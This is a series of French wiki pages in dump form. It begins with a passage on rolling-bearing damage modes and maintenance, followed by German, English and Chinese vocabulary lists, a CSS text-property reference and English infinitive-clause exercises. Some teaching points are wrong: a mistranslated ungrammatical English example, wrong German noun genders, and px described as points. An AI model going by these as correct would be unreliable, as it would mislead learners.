constitue en quelque sorte le mode de dégradation naturel. C'est sur cette base que les ingénieurs des bureaux d'études peaufinent leurs calculs par des méthodes aussi rigoureuses que normalisées mais qui n'empêchent pas les techniciens des services d'entretien de s'arracher ce qui leur reste de cheveux : en effet, parmi les roulements endommagés, seul un tout petit pourcentage (9 %) est effectivement détruit par écaillage au bout du temps normal ... De nombreux roulements périssent en effet prématurément à cause d'une mauvaise lubrification (43 %) ou d'un mauvais montage (27 %) : on le voit, le calcul ne suffit pas ... d'autant que beaucoup d'avaries pourraient être facilement évitées ! Comme dit le proverbe : '''un meilleur acier ne peut compenser ni un défaut de graissage, ni une trop grande déformation de l'arbre''' ! (voir les coefficients a<sub>1</sub>, a<sub>2</sub>, a<sub>3</sub>, ...). Un défaut de lubrification entraîne, comme manifestation immédiate, un échauffement brutal. Le grippage n'est alors pas loin. Dans les situations extrêmes, la graisse peut s'enflammer et mettre le feu à l'environnement (ceci s'est déjà produit sur des essieux de wagons de marchandises circulant de nuit). Un auteur distingue les causes de détériorations extérieures au roulement : mauvais choix de ce dernier, mauvais montage, manque d'entretien, mauvaises conditions de fonctionnement, et celles qui proviennent du roulement lui-même : mauvaise qualité des aciers, géométrie interne incorrecte, cages et joints défectueux ... Les causes extérieures provoqueraient, selon lui, plus de 90 % des défaillances prématurées. Remplacer un roulement détruit prématurément sans avoir étudié auparavant les causes de cette destruction est évidemment un non-sens. Malheureusement l'étude des avaries n'est pas facile : si un incident donne en général à son début un faciès typique de l'une ou l'autre des formes d'usure connues, il sera bien difficile, même pour un spécialiste, de tirer des conclusions à partir de petits morceaux de roulements complètement défigurés. Quoi qu'il en soit, '''si un incident grave survient, il faut suivre une méthode rigoureuse pour permettre l'expertise''' : * fournir une bonne photographie en couleurs du roulement avant démontage, * prélever un échantillon du lubrifiant en service, éventuellement les joints d'étanchéité voisins, * extraire le roulement avec précaution pour éviter toute détérioration supplémentaire, conserver autant que possible la position des divers éléments s'il s'agit d'un roulement démontable ou s'il est brisé, * ne jamais nettoyer le roulement, au contraire, laisser en place le maximum de graisse, * placer les pièces à conviction dans un emballage qui ne modifie pas les données (sac en plastique par exemple). Il faut maintenant analyser les principales causes d'avaries ou de destruction des roulements : [[Image:Ecaillage severe sur une bague de roulement.jpg|thumb|Ecaillage sévère sur une bague extérieure de roulement]] == Écaillage de fatigue (flaking) == C'est la cause normale de destruction des roulements correctement montés et utilisés. Si la pression de Hertz ne dépasse pas 2 000 N/mm<sup>2</sup>, les roulements ont une durée de vie pratiquement illimitée à condition que la lubrification et la propreté soient bonnes. En fait, les pressions entre les éléments roulants et les bagues atteignent couramment 3 000 à 3 500 N/mm<sup>2</sup> et des dégâts surviennent sous l'effet de la fatigue due aux contraintes de cisaillement alternées qui sévissent en sous-couche. Le fonctionnement élastohydrodynamique crée, par dépassement de la limite d'élasticité, des microdéformations permanentes et des criques qui cheminent vers la surface et provoquent l'élimination de particules de métal. La dégradation cyclique de la martensite crée des « papillons », amas lenticulaires de carbures parallèles à la direction du cisaillement maximal, sous l'effet des déformations qui produisent un échauffement à la température d'austénisation. Il se forme par la suite, toujours par décomposition de la martensite sous la surface de roulement, des bandes blanches de ferrite très écrouie. '''Les mécanismes de la fatigue par roulement sont à la fois très étudiés et très mal connus'''. Toutes les études confirment cependant l'influence très néfaste sur la fatigue des roulements des inclusions non métalliques ou autres phases dispersées dans l'acier : carbures non dissous, précipités d'oxydes et de sulfures, débris de produits réfractaires et de laitiers entraînés lors de la coulée, silicoaluminates de calcium ... L'écaillage est un processus continu qui s'accélère plus ou moins après l'apparition des premières fissures. L'écaillage localisé et prématuré résulte d'anomalies caractérisées telles que mauvais montage, surcharge, défaut d'alignement, mauvaise forme de logement. Une limite d'élasticité élevée augmente l'endurance car elle diminue les risques liés à la présence d'inclusions non métalliques. L'utilisation d'aciers de très haute qualité dégazés sous vide, et mieux refondus sous vide, est aujourd'hui généralisée. == Écaillage superficiel (pelling) == L''''écaillage superficiel''' est un enlèvement superficiel de métal, plus ou moins étendu, sous forme de paillettes très fines. Il est attribué à une épaisseur de lubrifiant trop faible par rapport à la rugosité, ce qui provoque des contacts métal sur métal. Le remède consiste essentiellement à diminuer la rugosité et à augmenter la viscosité du lubrifiant. == Grippage (smearing) == Le '''grippage''' est un transfert de matière arrachée sur les surfaces et redéposée par microsoudure. On voit, au début, des zones mates où les stries de rectification ont disparu et des traces brunes indicatrices d'échauffement. Plus tard, il y a déformation des éléments roulants par arrachement de matière, fusion localisée, les éléments roulants et les cages sont plus ou moins détruits ou laminés, voire totalement soudés. Il faut retenir que '''le grippage est inévitable en l'absence de lubrification'''. Contrairement à ce que beaucoup imaginent, celle-ci ne permet pas vraiment de diminuer les frottements, c'est même le contraire si le lubrifiant est trop abondant ! Le grippage est fréquent dans les roulements à rouleaux coniques si le frottement de glissement entre le collet de la bague intérieure et la grande base des rouleaux est défectueux : il survient souvent dès les premiers tours si l'on n'a pas pris soin d'assurer une bonne lubrification dès le démarrage. Les autres causes sont : * une lubrification avec des produits incapables de reconstituer les couches superficielles détruites par la pression, * une quantité de lubrifiant insuffisante pour assurer l'évacuation des calories, * une vitesse excessive provoquant un trop grand échauffement, * un mauvais choix du type de roulement à utiliser, en particulier en ce qui concerne le matériau des cages. Le choix du lubrifiant et le mode de lubrification sont d'une extrême importance. En particulier, il ne faut pas qu'un lubrifiant trop visqueux ou trop abondant fasse glisser billes ou rouleaux sur les bagues pendant le démarrage ou le freinage du roulement. == Empreintes par déformation (indentation) == Les '''empreintes par déformation''' sont très fréquentes : des traces de coups, des fissures, ou des cassures traduisent généralement un manque de précautions : chute accidentelle, montage par percussion ou en transmettant les efforts par l'intermédiaire des éléments roulants, surcharge. Les déformations plastiques des bagues donnent des dépressions sans enlèvement de matière, avec des bourrelets de métal refoulé ou des arrachements. Ces avaries ne sont pas toujours immédiatement visibles, des fêlures peuvent éventuellement donner une destruction différée. == Incrustation de particules étrangères == L''''incrustation de particules étrangères''' résulte d'un manque de propreté au montage ou de l'entrée accidentelle d'impuretés. Elle se traduit par des empreintes, un rodage marqué des bagues avec des sillons longitudinaux continus ou non. On assiste à l'apparition de jeux anormaux, de balourds, de vibrations. Le roulement émet des bruits anormaux. '''La plus grande propreté s'impose lors du montage des roulements'''. Les empreintes provoquées par des particules molles sont peu profondes et présentent des rebords peu marqués. Si les particules sont dures, les trous deviennent relativement profonds avec des bords en saillie. Si les particules étrangères sont cassantes, alors elles éclatent lorsqu'elles se trouvent coincées et il en résulte de nombreuses petites empreintes présentant des bords en saillie. == Corrosion == La '''corrosion''' se manifeste par des taches colorées allant du rougeâtre au noir, puis par des zones attaquées avec élimination de matière. Elle peut être chimique, sous l'effet du lubrifiant acidifié par oxydation, de produits agressifs ayant pénétré grâce à un défaut d'étanchéité ..., ou électrochimique avec formation de rouille par entrée d'eau ou condensation excessive. Le meilleur remède contre la corrosion est la suppression des causes capables de la provoquer et le choix d'un lubrifiant approprié. Dans les cas difficiles on doit faire appel à des roulements en acier inoxydable, en céramique, etc. Le risque est important quand les roulements viennent d'être nettoyés, c'est ainsi que l'on y relève souvent des marques d'empreintes digitales provoquées par l'acidité de la transpiration. Signalons aussi que les attaques de la corrosion favorisent la destruction ultérieure du roulement par fatigue ou écaillage. == Corrosion de contact (fretting corrosion) == * La '''corrosion de contact''' se manifeste par des taches roses, brunes ou noires plus ou moins étendues sur les zones d'appui extérieures du roulement. Elle provient de petits mouvements de rotation ou de vibration des bagues par rapport à leurs portées ; l'attention avait été attirée sur ce phénomène dès 1930 quand on constata que les roulements de véhicules transportés sur des wagons avaient subi des avaries graves. La corrosion de contact ne cause pas toujours des dégâts irrémédiables, du moins lorsqu'elle débute, mais si elle aboutit à la destruction du logement ou de l'arbre, il en résulte de mauvaises portées et l'on peut craindre la fissuration des bagues. Dans la plupart des cas elle est la conséquence d'un mauvais choix d'ajustements entre les bagues et les logements ou les arbres. Il importe de respecter très soigneusement les tolérances prescrites dans chaque cas de montage. == Faux brinnellage (false brinnelling) == Le '''faux brinnellage''' est une variante de la corrosion de contact entre, cette fois, les éléments roulants et les bagues qui portent des dépressions plus ou moins brillantes, écartées à intervalles réguliers comme le sont les corps roulants. Il ne faut pas confondre ces marques avec de simples empreintes, la matière étant érodée puis éliminée par le lubrifiant et non repoussée pour former des bourrelets. Cette avarie affecte les roulements à l'arrêt, toujours en présence de vibrations : moteur électrique arrêté sur une machine qui tourne, groupe électrogène de secours placé sur le même socle que le groupe principal en fonctionnement, matériel transporté, etc. L'influence du lubrifiant est très importante. Les roulements marqués deviennent bruyants et ne tardent pas à périr sous l'effet de l'écaillage. Les causes et les remèdes sont les mêmes que pour la corrosion de contact « ordinaire » : il faut réduire le jeu radial, augmenter les déplacements, éviter les charges statiques vibrantes, utiliser des graisses appropriées. '''Le choix du lubrifiant est très important'''. == Cratérisation (electrical pitting) == La '''cratérisation''' provoque des cavités microscopiques relativement profondes. Elle est due à des courants électriques intenses qui traversent le roulement et créent de petits arcs accompagnés d'une fusion locale et d'une trempe. En général, le défaut provient de ce que l'on a utilisé l'arbre comme masse lors d'une opération de soudage. == Cannelures (fluting) == [[Image:Usure d'un roulement par cannelures 1.jpg|thumb|right|Cannelures]][[Image:Cannelures_2.jpg|thumb|right|Cannelures, détail]] Les '''cannelures''' se forment par action simultanée de courants relativement faibles et de vibrations. Ce phénomène bien plus fréquent qu'on ne le croit concerne les groupes électrogènes, les machines-outils, les locomotives électriques ou encore des machines qui reçoivent des charges électrostatiques de la part de courroies ou de produits en bandes (films plastiques ...). On ne sait pas relier la fréquence des ondulations aux autres paramètres du fonctionnement du roulement, c'est-à-dire la vitesse de rotation, la fréquence du courant, les charges, ... Il semble que les cannelures se forment essentiellement par creusement mais dans au moins un certain nombre de cas, les reliefs sont accentués par dépôt de la matière arrachée au voisinage. Le jeu interne peut être alors réduit de façon importante. Les deux photos ci-contre montrent un roulement à rotule sur deux rangées de rouleaux monté sur une locomotive électrique. On voit parfaitement les ondulations, dont on perçoit facilement le relief en passant un ongle sur les surfaces endommagées. Les remèdes résident dans la mise à la terre des organes, l'isolation électrique des roulement dans leur logement, le court-circuitage des paliers, l'utilisation de graisses conductrices (qui ne sont pas excellentes pour la lubrification). == Criques (cracks) == Les '''criques''', les fissures étroites ou autres amorces de cassures que l'on rencontre parfois ont pour causes possibles des contraintes exagérées au montage ou au démontage, ou encore des tapures de rectification ou de trempe. == Usure par abrasion (weat) == L''''usure par abrasion''' donne aux roulements un aspect gris, givré. Elle relève d'un fonctionnement en milieu abrasif, d'une lubrification insuffisante, ... == Coloration == La '''coloration''' en brun, bleuâtre ou noirâtre est due à une oxydation superficielle en présence d'un lubrifiant polymérisé à haute température. L'échauffement anormal peut être d'origine interne, excès de lubrifiant par exemple, ou externe. == Détérioration des cages == La '''détérioration des cages''' est généralement le résultat d'un montage sans précaution. == Signes extérieurs de détérioration == ''' Les signes extérieurs de détérioration sont nombreux :''' * les '''vibrations''', détectées à la main, ou avec un bâtonnet, ou encore par un appareillage électronique, peuvent le cas échéant provoquer l'arrêt de la machine. Elles témoignent de dégâts par écaillage, abrasion, corrosion, de balourds résultant de pertes de masse par usure, de jeux excessifs ou du serrage insuffisant d'une bague, * les '''bruits anormaux''' résultent du passage des éléments roulants sur un corps étranger ou sur une empreinte due à un mauvais montage ou au faux brinnellage, d'un écaillage, d'une corrosion, de l'annulation fautive du jeu interne, d'une rupture de cage ou de corps roulant, * l''''élévation de température''' peut dénoter aussi bien une absence qu'un excès de lubrifiant, une absence de jeu interne, une surcharge accidentelle ou un mauvais montage, * un '''couple de frottement anormal''' peut provenir d'une détérioration de cage, de la détérioration du lubrifiant, de la mutilation d'un joint. == Prévention et surveillance == On évitera bien des catastrophes en surveillant le fonctionnement des roulements en mesurant la température, le bruit, les vibrations, ou encore en analysant périodiquement le lubrifiant. On en évitera tout autant en gardant à l'esprit quelques idées simples que rappelle ainsi la firme I.S.O. : * un roulement est un organe sensible aux chocs, * c'est un ensemble de précision qui demande des précautions et qui appelle de la précision au montage, * c'est un organe d'une très grande finition que les impuretés détruisent, * c'est un organe fiable, certes, mais qui doit être utilisé dans les limites de ses possibilités, * c'est un ensemble de pièces mobiles finement ajustées donc exigeantes pour la lubrification, * s'il existe un grand nombre de types et de dimensions de roulements, c'est que n'importe quel roulement ne peut pas faire n'importe quel travail, * on ne peut pas exiger d'un roulement de fabrication courante les performances d'un roulement de haute précision. La grande fiabilité, le silence de fonctionnement, le poids réduit demandent des roulements spéciaux. Les '''aciers à roulements''' sont dans 90% des cas des aciers trempés à cœur, dans 10 % des cas des aciers cémentés. Pour les '''roulements de gyroscopes''', un dépôt de carbure de titane évite les microsoudures entre les billes et les bagues. On revêt les unes ou les autres, jamais les deux. Par rapport aux fabrications classiques, la durée de vie est multipliée par 20. On fabrique des '''roulements en céramique''', essentiellement à partir de nitrure de silicium Si<sub>3</sub>N<sub>4</sub> pressé à chaud. Les avantages techniques des céramiques sont le faible poids, la faible dilatation thermique, la haute dureté, la résistance à la chaleur, la stabilité dimensionnelle, la haute résistance à la corrosion, en particulier à la plupart des acides, le module d'élasticité très élevé, l'absence de magnétisme, l'isolation électrique. La supériorité des billes en céramique ne se révèle qu'aux vitesses très élevées, essentiellement à cause de la diminution de la pression de contact par effet centrifuge, ou en cas de fonctionnement à sec, ou encore à cause de leur meilleure rigidité. Les '''roulements pour hélicoptères''' sont conditionnés pour pouvoir tourner une heure sans lubrification. Allemand : Die Nahrung : la nourriture 3208 38192 2006-03-18T13:25:39Z 88.136.211.154 /* der Nachtisch (s) : ''le dessert'' */ == die Mahlzeiten : ''les repas''== das Frühstück (-e) : ''le petit-déjeuner''<br />das Mittagessen (s,-) : ''le déjeuner''<br />das Vesperbrot (s) : ''le goûter''<br />das Abendessen (s,-) : ''le dîner'' == das Gemüse (s, -) : ''les légumes'' == die Kartoffel (n) : ''la pomme de terre''<br />die Erbsen : ''les petits pois''<br />die Bohnen : ''les haricots''<br />die Tomate (-,n) : ''la tomate''<br />der Kohl (s) : ''le chou'' == das Obst : ''les fruits'' == die Aprikose (-,n) : ''l'abricot'' <br />die Beere (-,n) : ''la baie''<br />die Kirsche (-,n) : ''la cerise''<br />die Erdbeere (-,n) : ''la fraise''<br />die Himbeere (-,n) : ''la framboise'' <br />die Brombeere (-,n) : ''la mûre''<br />die Orange (-,n) : ''l'orange''<br />der Apfel (s,¨-) : ''la pomme''<br />die Birne (-,n) : ''la poire''<br />die Traube (-,n) : ''le raisin'' == das Getränk : ''la boisson'' == das Wasser (s) : ''l'eau''<br />der Wein (s,e) : ''le vin''<br />das Bier (s,e) : la bière<br />das Kaffee : le café == der Nachtisch (s) : ''le dessert'' == der Kuchen (s,-) : ''le gâteau''<br />die Torte (n) : ''la tarte''<br />das Eis : la glace Retour [[Enseignement de l'allemand]] Allemand : Die Kleidung : l'habillement 3209 14740 2005-04-13T17:46:54Z Antoinel 182 sich kleiden : ''s'habiller''<br />tragen (u,a) : ''porter''<br /> Retour [[Enseignement de l'allemand]] Cours intermédiaire II : Acheter un souvenir 3210 28342 2006-01-06T11:49:48Z 82.122.35.203 /* Acheter */ ==Acheter== combien ça coûte ? -> 多少钱 duō shǎo qiàn ? (prononcer "touo chao tsien" ou "douo chao tchienne") Je prends celui-là. -> 我拿这一个 Wǒ ná zhè yī gè (prononcer "ouo na tcheu yi que" ou "oua na dje yi gue") ==Comment dire Non== Lorsque le vendeur vous demande : 要不要 (yào bú yào) Vous le voulez? Pour décliner son offre répondez lui : 不要 (bú yào) '''retour à l'[[Enseignement du chinois]]''' Anglais : Time, le temps 3211 14742 2005-05-29T16:34:47Z 81.192.249.242 /* a season : ''une saison'' */ the past : ''le passé''<br />the present : ''le présent''<br />the future : ''le futur''<br />yesterday : ''hier''<br />today : ''aujourd'hui''<br />tomorrow : ''demain'' __NOTOC__ == a day : ''une journée''== the morning : ''le matin''<br />the afternoon : ''l'après-midi''<br />the evening : ''le soir''<br />the night : ''la nuit'' == a week : ''une semaine''== Monday : ''lundi''<br />Tuesday : ''mardi''<br />Wednesday : ''mercredi''<br />Thursday : ''jeudi''<br />Friday : ''vendredi''<br />Saturday : ''samedi''<br />Sunday : ''dimanche'' <br /> last week : ''la semaine dernière''<br />next week : ''la semaine prochaine'' == a month : ''un mois'' == January : ''janvier''<br />February : ''février''<br />March : ''mars''<br />April : ''avril''<br />May : ''mai''<br />June : ''juin''<br />July : ''juillet''<br />August : ''août''<br />September : ''septembre''<br />October : ''octobre''<br />November : ''novembre''<br />December : ''décembre'' == a season : ''une saison'' == in spring : ''au printemps''<br />in summer : ''en été''<br />in fall : ''en automne''<br />in winter : ''en hiver'' == a year : ''une année''== a term : ''un trimestre''<br />a leap year : ''une année bissextile''<br />a decade : ''une décennie''<br />a century : ''un siècle''<br />a millennium : ''un millénaire'' <br />Retour [[Enseignement de l'anglais]] Anglais : Science 3212 14743 2005-04-14T06:41:30Z Antoinel 182 a discovery : ''une découverte''<br /> a researcher : ''un chercheur''<br />a laboratory : ''un laboratoire'' an experiment : ''une expérience'' to carry out an experiment : ''faire une expérience'' to mix : ''mélanger'' a microscope : ''un microscope''<br />a lens : ''une lentille'' Retour [[Enseignement de l'anglais]] Faculté de Programmation Internet 3213 14744 2005-04-14T14:21:29Z Kiouk 197 Ajout recettes de cuisines et alsacréation == Faculté de Programmation Internet == Bienvenu dans la faculté de programmation internet, Cette wikiversité a pour but de regrouper les efforts de création de livres qui consernent la programmation internet qui peut aller de la simple page web à même l'application nécessitant un serveur et une base de donnée. Elle a également pour but de regrouper les liens vers diverses ressources sur ce sujet. === Les livres d'introdution === Ces ouvrages ont pour but d'introduire de manière didactique les technologies traitées. * [[Programmation_HTML | HTML]], * [[Programmation_CSS | CSS]], * [[Programmation_PHP | PHP]] === Les guides de références === L'objectif de ces livres est de fournir des références les plus complètes possibles en francais sur des thèmes de la programmation internet. Par exemple, dans le Guide [[Programmation_Guide_de_Référence_CSS | Guide de référence CSS]], nous présenterons toutes les balises CSS classées par catégories. * [[Programmation_Guide_de_Référence_HTML | Guide de référence HTML]], * [[Programmation_Guide_de_Référence_CSS | Guide de référence CSS]] === Les recettes de cuisine === Ces livres contiennent des "recettes de cuisines" toutes pretes pour créer rapidement des éléments de votre site (Maquette du sites, menus, etc...) Ces exemples sont commentés et libres de droits, n'hésitez pas à les utiliser et à les modifier. === Les liens === ;[http://www.w3c.org Le site du w3c] :Le groupe l'origine des standards du web. ;[http://www.openweb.eu.org Openweb] : Un site contenant de nombreux articles sur le dévelopement avec les standards. ;[http://css.alsacreations.com/ Alsacréations] : De nombreux cours sur le html et le css ainsi qu'un forum sur les standards web. Programmation Guide de Référence CSS 3214 14745 2005-04-14T14:35:30Z Kiouk 197 Création {{EnTravaux}} *[[Programmation_Guide_de_Référence_CSS_introduction| Introduction ]] *[[Programmation_Guide_de_Référence_CSS_texte| Le texte ]] *[[Programmation_Guide_de_Référence_CSS_bordures| Les bordures ]] Programmation Guide de Référence CSS texte 3216 45501 2006-06-23T19:43:56Z 83.152.199.207 /* L'inclinaison des caractères */ Les propriétés de cette section servent à mettre en forme le texte (taille et type de la police, graisse, couleur, etc...) == La police == === Le type de caractère === Le type de caractère est défini par la propriété <tt>font-family</tt>. Elle peut avoir les valeurs suivantes : ; nom de la police : le nom générique de la police, par exemple times, arial, === La taille des caractères === La taille du texte est défini par la propriété <tt>font-size</tt>. Elle peut avoir les valeurs suivantes : ; 10 px : Le texte fera 10 points de haut ; 110 % : La taille relative du texte par rapport au bloc de niveau superieur === La graisse des caractères === La graisse du texte est défini par la propriété <tt>font-weight</tt>. Elle peut avoir les valeurs suivantes : ; normal : le texte est normal ; bold : le texte est en gras === L'inclinaison des caractères === L'inclinaison du texte est définie par la propriété <tt>font-style</tt>. Elle peut avoir les valeurs suivantes : ; italic : le texte est en italique === La couleur des caractères === La couleur du texte est défini par la propriété <tt>color</tt>. Elle peut avoir les valeurs suivantes : ; nom de couleur: le nom de la couleur doit être en anglais (par exemple <tt>red</tt>, <tt>blue</tt>, <tt>green</tt>, etc... ) ; #code de la couleur : code de six caractères entre 0 et 9 et A et F qui représentent la quantité des composantes de rouge, vert et bleu dans la couleur. Par exemple #FF0000 représente le rouge, #0000FF représente le bleu, etc... Les sentiments 3218 30365 2006-01-25T20:26:17Z 83.153.212.202 /* die Liebe (-) : ''l'amour'' */ das Gefühl (s,e) : ''le sentiment''<br />die Gemütsregung (-,en) : ''l'émotion'' <br />die Empfindung (en) : ''la sensation'' == die Freude (-,n) : ''la joie''== fröhlich : ''joyeux''<br />glücklich : ''heureux''<br />das Vergnügen (s) : ''le plaisir''<br />das Glück (s): ''le bonheur''<br />zufrieden (mit + datif) : ''content, satisfait''<br />lustig : ''gai, joyeux, amusant'' == die Liebe (-) : ''l'amour'' == lieben : ''aimer'' <br />der Kuss (es,ë) : ''le baiser'' == die Sorge (-,n) : ''le soucis'' == besorgt um (+ accusatif) : ''inquiet de''<br />ängstlich : ''inquiet''<br />unbekümmert : ''insouciant''<br />traurig : ''triste''<br /> == die Angst (-) : ''la peur'' == die Furcht : ''la crainte'' <br />erchrecken (vor + datif) : ''s'effrayer (de)'' <br />zittern (vor + datif) : ''trembler'' <br />ängstlich : ''craintif'' Retour [[Enseignement de l'allemand]] Allemand : Die Schule : l'école 3219 41626 2006-05-05T14:16:42Z 88.134.99.231 /* das Schulmaterial : ''le matériel scolaire'' */ == die Schüler : ''les élèves'' == der Schüler (s,-) : ''l'écolier''<br />die Schülerin (-,nen) : ''l'écolière''<br />der Stundent (en, en) : ''l'étudiant''<br />der Gymnasiast (en,en) : ''le lycéen''<br />der Lehrer (-) : ''le professeur''<br /> == das Fach (es,¨er) : ''la matière'' == der Unterricht : ''le cours''<br />die Mathematik : ''les mathématiques''<br />die Algebra : ''l'algèbre''<br />die Geometrie : ''la géométrie''<br />die Sprache (-,n) : ''la langue''<br />Deutsch : ''l'allemand''<br />Französisch : ''le français''<br />Englisch : ''l'anglais''<br />Russisch : ''le russe''<br />die Geschichte (-) : ''l'histoire''<br />die Geographie (-) : ''la géographie''<br />die Kunst : ''le dessin'' == das Schulmaterial : ''le matériel scolaire'' == der Bleistift : ''le crayon''<br />der Radiergummi : ''la gomme''<br />der Füller : ''le stylo plume''<br />das Titenfaß : ''l'encrier''<br />die Buntstifte : ''les crayons de couleurs''<br />die Markierstifte : ''les feutres de couleurs''<br />die Schire : ''les ciseaux''<br />das Lineal : ''la règle (double décimètre)''<br />der Buchbeutel : ''le cartable''<br />das Buch : ''le livre''<br />das Ringbuch : ''le cahier''<br />der Hefter : ''le classeur''<br /> == die Prüfung (en) : ''l'examen'' == das Abitur : ''le baccalauréat''<br />die Zensur (en) : ''la note''<br />eine Prüfung ab/legen : ''passer un examen''<br />die Prüfung bestehen : ''réussir l'examen'' <br /> lesen : ''lire''<br />schreiben : ''écrire''<br />lernen : ''apprendre'' <br /> ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Image:Preparation halogenoether.gif 3220 14751 2005-04-20T11:51:17Z Angely 257 Réaction d'halogénation d'un éther {{GFDL}} LSF/Exercices/Chiffres ABC/Texte 3221 14752 2005-04-15T09:52:30Z 193.251.29.185 avec nos mains en lsf nous pensons à vous courage nous vous attendons Anglais:Proposition infinitive 3222 42053 2006-05-12T11:11:22Z 194.199.4.104 /* Forme affirmative */ On emploie la proposition infinitive en anglais pour traduire ''je veux qu'il ..., il conseille que je ...''. La proposition infinitive est composée d'un sujet (qui est le complément d'un 1er verbe), d'un verbe à l'infinitif et parfois d'un complément. * Quand le sujet est un pronom, il est à la forme complément : I, you, him, her, it, us et them. __NOTOC__ == Forme affirmative == <table WIDTH="100%" align="center"><tr><td style="background-color: #C3C3FF; border: solid 1px #5656FF; padding: 1em;" valign=top><center>'''SUJET 1''' + '''VERBE 1''' + <u>'''SUJET 2 (sujet de la proposition infinitive)''' + '''VERBE 2 (à l'infinitif) (+ complément)''' </u></center> </td></tr></table> <br /> La proposition infinitive est soulignée dans les exemples suivants.<br />They ask <u>me to help them</u>. ''Il m'ont demandé de les aider.''<br />He ordered <u>us to work</u>. ''Il nous ordonna de travailler.''<br />I allow <u>my sister to watch TV</u>. ''Je permets à ma soeur de regarder la télé.'' <br /> == Forme négative == <table WIDTH="100%" align="center"><tr><td style="background-color: #C3C3FF; border: solid 1px #5656FF; padding: 1em;" valign=top><center>'''SUJET 1''' + '''VERBE 1''' + <u>'''SUJET 2 (sujet de la proposition infinitive)''' + '''NOT''' + '''VERBE 2 (à l'infinitif) (+ complément)''' </u></center> </td></tr></table> <br /> He persuaded <u>him not to smoke</u>. ''Il l'a persuadé de ne pas fumer.''<br />You want <u>he not to come</u>. ''Tu ne veux pas qu'il vienne.'' == Verbes utilisés dans les propositions infinitives == <table border="1" cellspacing="0" style="background-color: #99CCFF"><tr><td width=80>to advise</td><td width=80>to allow</td><td width=80>to ask</td><td width=80>to expect</td><td width=80>to force</td><td width=80>to hate</td><td width=80>to help</td><td width=80>to oblige</td><td width=80>to order</td></tr> <tr><td width=80>conseiller</td><td width=80>permettre</td><td width=80>demander</td><td width=80>s'attendre à</td><td width=80>forcer</td><td width=80>détester</td><td width=80>aider</td><td width=80>obliger</td><td width=80>ordonner</td></tr></table> <table border="1" cellspacing="0" style="background-color: #99CCFF"><tr><td width=80>to persuade</td><td width=80>to prefer</td><td width=80>to tell</td><td width=80>to want</td><td width=80>to wait for</td><td width=80>would like</td></tr> ><td width=80>persuader</td><td width=80>préférer</td><td width=80>dire</td><td width=80>vouloir</td><td width=80>s'attendre à</td><td width=80>aimer (subj.)</td></tr></table> <p><p> In most of these examples (3/5) the putative SUJET2 is actually one of two complements of VERBE1, as one can see be examining related constructions. For example: <p> They ask [me] [to help them]. <br> They ask [me] [my opinion]. <p> He ordered [us to work]. <br> He ordered [a tuna sandwich]. <p> I allow [my sister] [to watch TV].<br> I allow [my sister] [a candy bar after dinner]. <p> He persuaded [him] [not to smoke].<br> He persuaded [him] [that the world is flat]. <p> You want [him] [not to come] ou I don't want [him to come].<br> You want [a new computer]. == Applications == [[Image:Evolution-tasks.png]] [[Anglais:Proposition_infinitive_exercices|Exercices]] <br /> ---- Retour [[Enseignement de l'anglais]] ---- Anglais:Proposition infinitive exercices 3223 39782 2006-04-07T09:31:22Z 194.206.177.147 /* Exercice 1 */ Voir [[Image:Wikibooks-page.gif]] [[Anglais:Proposition_infinitive|le cours]]. __NOTOC__ == Exercice 1 == Choisissez la forme appropriée pour une proposition infinitive :<br />I want/she learns the piano. # she learns # that she learnt # her to learn <br /> He persuaded/ me / not to eat so early. # I don't eat # me not to eat # me don't eat <br /> He would like / us / to help him. # that we help # us to help # us help == Exercice 2 == Formez des phrases avec les éléments proposés : # would like / you / to / I / me / help # them / to / in / be / she / late / hates # sleep / she / waits for / to / him # want / I / them / understand / to / me == Exercice 3 == Traduisez les phrases suivantes : # Dis à ton frère de s'asseoir. # J'aimerais que tu achètes cette jupe. # Ils lui conseillent de faire du sport. # Elle nous dit de ne pas être intolérant. == Correction == ==== Exercice 1 ==== I want her to learn the piano.<br />He persuaded me not to eat so early. ==== Exercice 2 ==== # I would like you to help me. # She hates them to be late. # She waits for him to sleep. # I want them to understand me. ==== Exercice 3 ==== # Tell your brother to sit down. # I'd like you to buy this skirt. # They advise him to do sport. # She tells us not to be intolerant. Retour [[Enseignement de l'anglais]] Anglais:La nourriture test 3224 44325 2006-06-11T10:54:08Z 62.190.238.32 /* Solutions */ Donnez le nom anglais des différents aliments et boissons ci-dessous : {| border="0" |[[Image:Banana.arp.750pix.jpg|200px]] || 1 ___________ |- | [[Image:Milk glass.jpg|200px]] || 2 ___________ |- |[[Image:Fuji apple.jpg|200px]] || 3 ___________ |- |[[Image:Fried egg, sunny side up.jpg|200px]] || 4 ___________ |- |[[Image:FraiseFruitPhoto.jpg|200px]] || 5 ___________ |- |[[Image:Coffee cup.jpg|200px]] || 6 ___________ |- | [[Image:Lager beer in glass.jpg|200px]] || 7 ___________ |- |[[Image:Ambersweet oranges.jpeg|200px]] || 8 ___________ |- | [[Image:Emmentaler.jpg|200px]] || 9 ___________ |- | [[Image:Prei winter Farinto geoogst.jpg|200px]] || 10 ___________ |} == Solutions == # a banana # milk # an apple # an egg # a strawberry # coffee # a beer # an orange # cheese # a leek <br />Retour [[Enseignement de l'anglais]] Anglais:Vocabulaire animaux test 3225 47133 2006-07-02T16:59:10Z 130.232.129.242 image deleted from Commons Donnez le nom des animaux suivants : <br /><br /> [[Image:Black and white cow feeding.jpg|200px]] 1 _____________ <br /> [[Image:Female Mandarin Duck 800.jpg|200px]] 2 _____________ <br /> [[Image:Canis lupus portrait.jpg|200px]] 3 _____________ <br /> [[Image:TabbyCat.jpg|200px]] 4 _____________ <br /> == Solutions == # a cow # a duck # a wolf # a cat # a lion <br /> Retour [[Enseignement de l'anglais]] Allemand : Die Zeit : le temps 3226 14757 2005-04-15T18:30:34Z 82.254.202.129 == der Tag (s,e) : ''le jour'' == Montag : ''lundi''<br />Dienstag : ''mardi''<br />Mittwoch : ''mercredi''<br />Donnerstag : ''jeudi''<br />Freitag : ''vendredi''<br />Samstag : ''samedi''<br />Sonntag : ''dimanche''<br />die Woche (-;n) : ''la semaine'' == das Monat (s,e) : ''le mois''== Januar : ''janvier''<br />Februar : ''février''<br />März : ''mars''<br />April ''avril''<br />Mai : ''mai''<br />Juni : ''juin''<br />Juli : ''juillet''<br />August : ''août''<br />September : ''septembre''<br />Oktober : ''octobre''<br />November : ''novembre''<br />Dezember : ''décembre'' == das Jahr (es,e) : ''l'année'' == das Halbjahr : ''le semestre''<br /> das Vierteljahr (s,e), das Trimester (s,-) : ''le trimestre''<br />Das Schaltjahr (s,e) : ''l'année bissextile''<br />das 